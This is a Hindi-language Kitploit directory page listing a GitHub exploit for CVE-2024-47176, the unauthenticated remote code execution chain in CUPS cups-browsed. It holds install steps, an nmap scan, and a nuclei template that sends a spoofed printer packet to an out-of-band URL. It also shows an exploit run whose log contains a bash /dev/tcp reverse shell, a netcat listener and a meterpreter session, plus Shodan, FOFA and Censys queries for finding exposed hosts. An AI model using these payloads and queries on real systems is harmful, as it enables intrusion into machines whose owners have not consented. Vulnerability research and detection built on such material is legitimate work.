Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-47176 — cups-browsed पर अप्रमाणित RCE (exploit और nuclei टेम्पलेट) | Kitploit
उपकरण/GitHubGitHub/l0n3m4n/cve-2024-47176
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubl0n3m4n/cve-2024-47176

CVE-2024-47176

cups-browsed पर अप्रमाणित RCE (exploit और nuclei टेम्पलेट)

रिपॉजिटरी देखें
17121 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

PoC: cups-browsed पर अप्रमाणित RCE

Facebook X Medium Python Kali

📜 कमजोरी की जानकारी

  • प्रकाशित: 2024-09-26
  • आधार स्कोर: 5.3 (मध्यम)
  • EPSS स्कोर: शोषण की 0.06% संभावना।
  • वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • विवरण: CUPS एक मानक-आधारित, ओपन-सोर्स प्रिंटिंग सिस्टम है, और cups-browsed में नेटवर्क प्रिंटिंग कार्यक्षमता शामिल है, जिसमें प्रिंट सेवाओं और साझा प्रिंटरों की स्वचालित खोज शामिल है, लेकिन यहीं तक सीमित नहीं है। cups-browsed INADDR_ANY:631 से बाइंड होता है, जिसके कारण यह किसी भी स्रोत से किसी भी पैकेट पर भरोसा करता है, और हमलावर-नियंत्रित URL पर Get-Printer-Attributes IPP अनुरोध का कारण बन सकता है। जब अन्य कमजोरियों जैसे CVE-2024-47076, CVE-2024-47175, और CVE-2024-47177 के साथ जोड़ा जाता है, तो एक हमलावर लक्ष्य मशीन पर प्रमाणीकरण के बिना दूरस्थ रूप से मनमाने कमांड निष्पादित कर सकता है जब एक दुर्भावनापूर्ण प्रिंटर पर प्रिंट किया जाता है।

📚 विषय-सूची

  • 📜 जानकारी
  • 🛠️ स्थापना
  • ⚙️ उपयोग
  • 🔎 खोज
  • 💁 संदर्भ
  • 📢 अस्वीकरण

🛠️ स्थापना

root@kitploit:~
$ python3 -m venv venv && source venv/bin/activate
$ pip install zeroconf ippserver colorama
$ python3 CVE-2024-47176.py -h

💡 संभावित रूप से कमजोर सिस्टम में निम्नलिखित सभी शर्तें होनी चाहिए:

  • प्रभावित GNU/Linux वितरण
  • लक्ष्य मशीन पर cups-browsed पैकेज (संस्करण 2.0.1 या उससे कम) स्थापित होना चाहिए
  • cups-browsed सेवा शुरू/सक्रिय होनी चाहिए और UDP पोर्ट 631 पर सुन रही होनी चाहिए
  • सर्वर हमलावर के लिए सुलभ होना चाहिए (या तो सार्वजनिक रूप से सामना करने वाला इंटरनेट या हमलावर के पास स्थानीय रूप से नेटवर्क पहुंच हो)
  • इन श्रृंखलाबद्ध कमजोरियों का शोषण करने के लिए, हमलावर को किसी उपयोगकर्ता को एक दुर्भावनापूर्ण प्रिंटर सर्वर से प्रिंट करने के लिए बरगलाना होगा जो हमलावर द्वारा बनाया गया है।

Nmap गणना

root@kitploit:~
$ sudo nmap -sV -p 631 --script=cups-info -Pn 192.168.1.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 15:45 PST
Nmap scan report for 192.168.1.100
Host is up (0.12s latency).

PORT    STATE SERVICE VERSION
631/tcp open  ipp     CUPS 2.0
|_http-server-header: CUPS/2.0 IPP/2.1
| cups-info: 
|   ads
|     DNS-SD Name: 
|     Location: epower
|     Model: Local Raw Printer
|     State: Idle
|_    Queue: 0 print jobs

Nuclei टेम्पलेट

CVE-2024-47176.yml

root@kitploit:~
id: CVE-2024-47176

info:
  name: CUPS - Remote Code Execution
  author: princechaddha
  severity: high
  description: |
    CUPS is a standards-based, open-source printing system, and cups-browsed contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. cups-browsed binds to INADDR_ANY-631, causing it to trust any packet from any source, and can cause the Get-Printer-Attributes IPP request to an attacker controlled URL.
    Due to the service binding to *-631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.
  impact: |
    Successful exploitation could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the necessary patch or upgrade to a non-vulnerable version of CUPS.
  reference:
    - https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
    - https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
    - https://github.com/OpenPrinting/cups-browsed/blob/master/daemon/cups-browsed.c#L13992
    - https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47
    - https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 8.3
    cve-id: CVE-2024-47176
    cwe-id: CWE-1327
    epss-score: 0.00045
    epss-percentile: 0.14875
  metadata:
    verified: true
    shodan-query: "product:cups"
  tags: cve,cve2024,cups,udp,printer,oast,rce

javascript:
  - pre-condition: |
      isUDPPortOpen(Host,Port);
    code: |
      let packet = bytes.NewBuffer();
      let printer_type = "00";
      let printer_state = "03";
      let printer_uri = `http://${oast}/printers/VulnPrinter`;
      let printer_location = "Office HQ";
      let printer_info = "Vulnerable Printer";
      let message = `${printer_type} ${printer_state} ${printer_uri} "${printer_location}" "${printer_info}"`;
      packet.WriteString(message)
      let c = require("nuclei/net");
      let conn = c.Open('udp', `${Host}:${Port}`);
      conn.SendHex(packet.Hex());

    args:
      Host: "{{Host}}"
      Port: 631
      oast: "{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_request
        words:
          - "natural-language"
          - "VulnPrinter"
        condition: and

    extractors:
      - type: regex
        group: 1
        part: interactsh_request
        regex:
          - 'User-Agent:\s?(.*)'
# digest: 4b0a00483046022100a5171b18bd80ce93e04aabb4b3b70b0131e0a961a3d07b5ba72a33a0fa6f8434022100ee5ee6b9e749abcd80184e2c8e67a76765d0bf4a6f0df976848f8949d02c96ab:922c64590222798bb761d5b6d8e72950

⚙️ उपयोग और शोषण

cups-help

root@kitploit:~
$ python3 CVE-2024-47176.py -l 192.168.1.50 -s "Epson EcoTank L121" -p 631 -r rev.sh -t 192.168.1.100

2024-10-03 15:45:10 - INFO - Using reverse shell from file 'rev.sh': [bash -i >& /dev/tcp/192.168.1.50/443 0>&1 or backdoor.elf]
2024-10-03 15:45:10 - INFO - Registered printer service: Epson EcoTank L121
2024-10-03 15:45:10 - INFO - [+] Starting IPP server on 192.168.1.50:631...
2024-10-03 15:45:11 - INFO - Target connected, sending payload ...
Sending udp packet to 192.168.1.100:631...
2024-10-03 15:45:12 - INFO - Shutting down server...
2024-10-03 15:45:12 - INFO - Unregistered printer service: Epson EcoTank L121
2024-10-03 15:45:12 - INFO - Server closed.


# c2 and local listener
msf6 exploit(multi/handler) > exploit
...
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Sending stage (175086 bytes) to 192.168.1.100
... 
meterpreter >

$ sudo rlwrap nc -lvnp 443
...

🔎 खोज

  • Shodan: port:631 "CUPS" or product:CUPS version:<2.0.1
  • FOFA: port=631 && protocol=ipp && product=CUPS && version<2.0.1
  • CENYS: services.service_name="IPP" AND services.port=631 AND metadata.product="CUPS" AND metadata.version<"2.0.1"

💁 संदर्भ

  • https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
  • https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47
  • https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5
  • https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6
  • https://github.com/OpenPrinting/cups-browsed/blob/master/daemon/cups-browsed.c#L13992
  • https://www.cups.org
  • https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I

📢 अस्वीकरण

यह टूल केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। निर्माता टूल के किसी भी दुरुपयोग या इससे होने वाली क्षति के लिए कोई जिम्मेदारी नहीं लेता है। समस्या बनाएँ

टूल डाउनलोड करें